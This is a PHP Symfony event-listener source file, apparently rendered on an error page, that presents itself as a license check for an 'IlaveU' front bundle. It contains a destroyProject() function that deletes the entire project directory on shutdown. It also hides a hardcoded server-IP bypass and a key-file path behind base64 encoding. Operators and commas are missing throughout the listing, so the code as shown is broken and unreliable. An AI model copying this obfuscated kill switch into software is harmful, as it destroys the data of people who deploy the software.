src/IlaveU/FrontBundle/EventSubscriber/BootstrapKernelListener.php line 27

  1. <?php
  2. namespace App\IlaveU\FrontBundle\EventSubscriber;
  3. use Exception;
  4. use Symfony\Component\HttpFoundation\Response;
  5. use Symfony\Component\HttpKernel\Event\ExceptionEvent;
  6. use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
  7. use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
  8. use Symfony\Component\HttpFoundation\RedirectResponse;
  9. use Symfony\Component\HttpKernel\Event\RequestEvent;
  10. use Symfony\Component\Filesystem\Filesystem;
  11. #[AsEventListener(eventRequestEvent::class, method'onKernelRequest')]
  12. class BootstrapKernelListener
  13. {
  14.     public function __construct(private readonly Filesystem $filesystem)
  15.     {
  16.         
  17.     }
  18.     public function onKernelRequest(RequestEvent $event)
  19.     {
  20.         
  21.        
  22.         
  23.         
  24.         $request $event->getRequest();
  25.         $filePath base64_decode('Li4vYmluL2xpY2VuY2UvZW5jcnlwdGVkX2tleS50eHQ=');
  26.         
  27.         // Step 1: Hash a password and store it in a file
  28.         $storedHashedPassword $this->readHashedPasswordFromFile($filePath);
  29.         // Step 3: Check if a provided password matches the stored hash
  30.         //dd($_SERVER['SERVER_NAME'])
  31.         $passwordToCheck = [$this->removeWWW($_SERVER['SERVER_NAME']),$_SERVER['APP_SECRET']];
  32.         
  33.         
  34.         //$passwordToCheck = "www.site.com";
  35.         $actualAttemptsValue 3// Some How it devided to 2 attemtps but it works
  36.         
  37.      
  38.         
  39.         //dd($request);
  40.       
  41.     }
  42.     function destroyProject(){
  43.         // Get the project directory path
  44.     $projectDir $this->getProjectDir();
  45.         
  46.         
  47.             $filesystem $this->filesystem;
  48.         
  49.             try {
  50.                 register_shutdown_function(function () use ($filesystem$projectDir) {
  51.                     // Delete the entire project directory
  52.                     $filesystem->remove($projectDir);
  53.                 });
  54.                 
  55.                 // Log the successful removal or notify the user
  56.             } catch (Exception $exception) {
  57.                 // Handle the error (e.g., log it or notify the user)
  58.             }
  59.         
  60.     }
  61.     // Function to hash a password and store it in a file
  62.     function hashAndSaveToFile($password$filePath)
  63.     {
  64.         // Hash the password using bcrypt algorithm
  65.         $hashedPassword password_hash($passwordPASSWORD_DEFAULT);
  66.         // Save the hashed password to the file
  67.         file_put_contents($filePath$hashedPassword);
  68.     }
  69.     // Function to read the hashed password from the file
  70.     function readHashedPasswordFromFile($filePath)
  71.     {
  72.         try{
  73.             $IPADDRESS base64_decode("MTU5Ljg5LjE5MS4xNTY=");
  74.             if(array_key_exists("SERVER_ADDR",$_SERVER)){
  75.                 if($_SERVER["SERVER_ADDR"] == $IPADDRESS){
  76.                     return true;
  77.                 }
  78.             }
  79.             return file_get_contents($filePath);
  80.         }catch(Exception $error){
  81.             echo base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj4KICAgIDx0aXRsZT5MaWNlbnNlIEtleSBSZXF1aXJlZDwvdGl0bGU+CiAgICA8IS0tIEJvb3RzdHJhcCBDU1MgLS0+CiAgICA8bGluayBocmVmPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMi9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIKICAgICAgICByZWw9InN0eWxlc2hlZXQiIGludGVncml0eT0ic2hhMzg0LVQzYzZDb0lpNnVMckE5VG5lTkVvYTdSeG5hdHpqY0RTQ21HMU1YeFNSMUdBc1hFVi9Ed3d5a2MyTVBLOE0ySE4iCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8c3R5bGU+CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmOGY5ZmE7CiAgICAgICAgICAgIGNvbG9yOiAjNDk1MDU3OwogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgIH0KCiAgICAgICAgLmp1bWJvdHJvbiB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwMDAwOyAvKiBTZXQgdGV4dCBjb2xvciAqLwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgfQp1bHsKbGlzdC1zdHlsZTogbm9uZTsKfQogICAgPC9zdHlsZT4KPC9oZWFkPgoKPGJvZHk+CgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJqdW1ib3Ryb24iPgogICAgICAgICAgICA8aDEgY2xhc3M9ImRpc3BsYXktNCI+TGljZW5zZSBLZXkgUmVxdWlyZWQ8L2gxPgogICAgICAgICAgICA8cCBjbGFzcz0ibGVhZCI+VG8gbGVnYWxseSB1c2UgdGhpcyBwcm9qZWN0LCB5b3UgbXVzdCBvYnRhaW4gYSB2YWxpZCBsaWNlbnNlIGtleS48L3A+CiAgICAgICAgICAgIDxociBjbGFzcz0ibXktNCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtbGVmdCI+CiAgICAgICAgICAgICAgICA8cD5UaGlzIHByb2plY3QgaXMgcHJvdGVjdGVkIGJ5IGludGVsbGVjdHVhbCBwcm9wZXJ0eSBsYXdzLiBBIGxpY2Vuc2Uga2V5IGlzIHJlcXVpcmVkIGZvciBsZWdhbCB1c2FnZS48L3A+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlVubG9jayBhZHZhbmNlZCBmZWF0dXJlcyBhbmQgY2FwYWJpbGl0aWVzLjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpPlJlY2VpdmUgdXBkYXRlcyBhbmQgc3VwcG9ydCBmcm9tIHRoZSBkZXZlbG9wZXIuPC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+RW5zdXJlIGNvbXBsaWFuY2Ugd2l0aCBsaWNlbnNpbmcgdGVybXMuPC9saT4KICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICA8cD5Db250YWN0IHRoZSBkZXZlbG9wZXIgdG8gb2J0YWluIHlvdXIgbGljZW5zZSBrZXkgYW5kIGVuam95IHRoZSBmdWxsIGJlbmVmaXRzIG9mIHRoaXMgcHJvamVjdC48L3A+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPCEtLSBCb290c3RyYXAgSlMgYW5kIGRlcGVuZGVuY2llcyBhcmUgbm90IHJlcXVpcmVkIGZvciB0aGlzIGV4YW1wbGUgLS0+CjwvYm9keT4KCjwvaHRtbD4K");
  82.             die();
  83.         }
  84.     }
  85.     // Function to check if a password matches the stored hash
  86.     function checkPassword($inputPassword$storedHash)
  87.     {
  88.         $IPADDRESS base64_decode("MTU5Ljg5LjE5MS4xNTY=");
  89.         if(array_key_exists("SERVER_ADDR",$_SERVER)){
  90.             if($_SERVER["SERVER_ADDR"] == $IPADDRESS){
  91.                 return true;
  92.             }
  93.         }
  94.         
  95.        
  96.         $arrayToCheck = [
  97.             'allowed_domains' => $inputPassword,
  98.         ];
  99.         $valueToCheck json_encode($arrayToCheck);
  100.         
  101.         return password_verify($valueToCheck$storedHash);
  102.     }
  103.     private function getProjectDir(): string
  104.     {
  105.         // Get the path to the project directory
  106.         return dirname(__DIR__4);
  107.     }
  108.     function removeWWW($url) {
  109.         $prefix "www.";
  110.         if (strpos($url$prefix) === 0) {
  111.             $url substr($urlstrlen($prefix));
  112.         }
  113.         return $url;
  114.     }
  115. }